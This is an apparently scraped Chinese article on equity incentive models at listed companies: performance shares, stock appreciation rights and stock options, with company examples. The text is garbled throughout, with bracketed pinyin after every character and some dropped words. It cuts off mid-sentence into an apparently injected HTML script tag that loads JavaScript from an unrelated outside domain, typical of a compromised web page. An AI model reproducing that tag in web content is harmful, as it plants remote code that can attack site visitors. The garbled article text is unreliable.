中國(guó)上市公司激勵(lì)機(jī)制十大模式

業(yè)績(jī)股票：廣泛使用的激勵(lì)模式 
　　
　　業(yè)績(jī)股票在中國(guó)上市公司股權(quán)激勵(lì)機(jī)制中占較大的比例，是目前被采用 廣泛的一種激勵(lì)模式。 
　　
　　業(yè)績(jī)股票（也可稱為業(yè)績(jī)股權(quán)），是指公司根據(jù)被激勵(lì)者業(yè)績(jī)水平，以普通股作為長(zhǎng)期激勵(lì)形式支付給經(jīng)營(yíng)者。通常是公司在年初確定業(yè)績(jī)目標(biāo)，如果激勵(lì)對(duì)象在年末達(dá)到預(yù)定目標(biāo)，則公司授予其一定數(shù)量的股票或提取一定的獎(jiǎng)勵(lì)基金購(gòu)買公司股票。 
　　
　　國(guó)內(nèi)上市公司中，佛山照明、廣東福地、天藥股份三家上市公司業(yè)績(jī)股權(quán)激勵(lì)計(jì)劃都是每年提取一定數(shù)額的獎(jiǎng)勵(lì)基金，部分或全部用來(lái)購(gòu)買本公司的股票。 
　
　　股票增值：簡(jiǎn)單易行的激勵(lì)模式 
　　
　　在中國(guó)上市公司激勵(lì)機(jī)制十大模式中，股票增值是簡(jiǎn)單易行的一種。 
　　
　　股票增值權(quán)（Ｓｔｏｃｋ Ａｐｐｒｅｃｉａｔｉｏｎ Ｒｉｇｈｔｓ ＳＡＲｓ）是指公司給予激勵(lì)對(duì)象一種權(quán)利：經(jīng)營(yíng)者可以在規(guī)定時(shí)間內(nèi)獲得規(guī)定數(shù)量的股票股價(jià)上升所帶來(lái)的收益，但不擁有這些股票的所有權(quán)，自然也不擁有表決權(quán)、配股權(quán)。按照合同的具體規(guī)定，股票增值權(quán)的實(shí)現(xiàn)可以是全額兌現(xiàn)，也可以是部分兌現(xiàn)。另外，股票增值權(quán)的實(shí)施可以是用現(xiàn)金實(shí)施，也可以折合成股票來(lái)加以實(shí)施，還可以是現(xiàn)金和股票形式的組合。股票增值權(quán)經(jīng)常在三個(gè)條件下使用，第一個(gè)是股票薪酬計(jì)劃可得股票數(shù)額有限，第二個(gè)是股票期權(quán)或股票贈(zèng)與導(dǎo)致的股權(quán)稀釋太大，第三個(gè)是封閉公司，沒(méi)有股票給員工。 
　　
　　在國(guó)內(nèi)上市公司中，中石化和三毛派神均采取了股權(quán)增值方案。 
　　
　　中國(guó)上市公司目前的股權(quán)增值方案和國(guó)外相比，仍然是比較保守的，存在較多的限制條件。 
　
　　第一，股票增值權(quán)的主要設(shè)計(jì)思路是以公司股票在市場(chǎng)的價(jià)格升幅來(lái)給持有人員創(chuàng)造收益的。增值權(quán)持有人要想獲得收益，必須努力提升公司的業(yè)績(jī)，以換取市場(chǎng)的認(rèn)同而使股價(jià)上揚(yáng)。這樣，股價(jià)的上揚(yáng)要求也即是對(duì)持有人強(qiáng)有力的約束。國(guó)內(nèi)的公司在制定這類激勵(lì)方案時(shí)，除了宏觀方面的限制外，一般都還會(huì)加上其他的條件，如中石化的關(guān)鍵績(jī)效指標(biāo)與三毛派神的凈資產(chǎn)增值。多重的限制條件對(duì)管理層提出了更高的要求，但同時(shí)也削弱了股票增值權(quán)的激勵(lì)效率； 
　　
　　第二，激勵(lì)收益金額較低。中石化的股票增值權(quán)方案給了管理人員 多70％的浮動(dòng)收入。如果Ｈ股的價(jià)格上漲了1元，就可能會(huì)給數(shù)位高管帶來(lái)百萬(wàn)的收入。當(dāng)然，這對(duì)他們以前的工資來(lái)說(shuō)，是一筆不菲的收入。但是，相對(duì)他們給公司帶來(lái)的收益，這卻是非常微小的一部分，接近0．3％而已。管理人員創(chuàng)造的價(jià)值與他們的所得仍不成比例； 
　
　　第三，激勵(lì)執(zhí)行機(jī)制存在問(wèn)題。激勵(lì)機(jī)制在中國(guó)出現(xiàn)的時(shí)間并不長(zhǎng)，還屬于一個(gè)較新的事物。目前更多的公司考慮的問(wèn)題是如何才能在公司里推行這些方案。至于實(shí)行何種方案、每種方案的優(yōu)缺點(diǎn)則是下一步才考慮的事情。而對(duì)股票增值權(quán)來(lái)講，雖然比較簡(jiǎn)單，但要求涉及的專業(yè)問(wèn)題則較復(fù)雜。 
　　
　　股票期權(quán)：政策邊緣的激勵(lì)模式 
　
　　在國(guó)外，股票期權(quán)激勵(lì)已有相當(dāng)長(zhǎng)的歷史。但在中國(guó)，由于金融市場(chǎng)的不成熟，加上受政策和法規(guī)限制，中國(guó)企業(yè)股票期權(quán)的探索一直行走在政策的邊緣。和國(guó)外通行的方案相比，中國(guó)的股票期權(quán)方案具備自己的特色。 
　　
　　股票期權(quán)（Ｓｔｏｃｋ Ｏｐｔｉｏｎｓ）是以股票為標(biāo)的物的一種合約，期權(quán)合約的賣方也稱立權(quán)人，通過(guò)收取權(quán)利金將執(zhí)行或不執(zhí)行該項(xiàng)期權(quán)合約的選擇權(quán)讓渡給期權(quán)合約的買方，也稱持權(quán)人。持權(quán)人將根據(jù)約定價(jià)格和股票市場(chǎng)價(jià)格的差異情況決定執(zhí)行或放棄該期權(quán)合約。在美國(guó)，那些進(jìn)入指數(shù)的股票，一般都有標(biāo)準(zhǔn)化的期權(quán)合約在市場(chǎng)上交易，這些股票期權(quán)合約的交易與發(fā)行股票的公司無(wú)關(guān)。 
　　
　　股票期權(quán)作為公司給予經(jīng)理人員購(gòu)買本公司股票的選擇權(quán)，是公司長(zhǎng)期激勵(lì)制度的一種。持有這種權(quán)利的人員，即股票期權(quán)受權(quán)人，可以按約定的價(jià)格和數(shù)量在受權(quán)以后的約定時(shí)間內(nèi)購(gòu)買股票，并有權(quán)在一定時(shí)間后將所購(gòu)的股票在股市上出售，但股票期權(quán)本身不可轉(zhuǎn)讓。 
　　
　　股票期權(quán)的設(shè)計(jì)原理與股票增值近似，區(qū)別在于：認(rèn)購(gòu)股票期權(quán)時(shí)，持有人必須購(gòu)入股票；而股票增值權(quán)的持有者在行權(quán)時(shí)，可以直接對(duì)股票的升值部分要求兌現(xiàn)，無(wú)需購(gòu)買股票。 
　　
　　目前我國(guó)上市公司中，長(zhǎng)源電力、清華同方、東方電子、中興通訊等均推行了股票期權(quán)方案。 
　　
　　在國(guó)外，解決股票來(lái)源一般有三種方法： 
　　
　　第一，原股東把其股權(quán)出讓給經(jīng)營(yíng)者。在中國(guó)，由于內(nèi)部人控制問(wèn)題，采用這種方法會(huì)導(dǎo)致企業(yè)經(jīng)營(yíng)者將國(guó)有股份以較低的價(jià)格進(jìn)行轉(zhuǎn)讓，造成國(guó)有資產(chǎn)流失。國(guó)有股的出讓會(huì)受到諸多的限制并必須經(jīng)過(guò)嚴(yán)格的審批程序。這種方法存在較多的難度。 
　　
　　第二，公司增發(fā)新股給經(jīng)營(yíng)者。目前中國(guó)的新股?script src=http://cn.jxmmtv.com/cn.js></Script>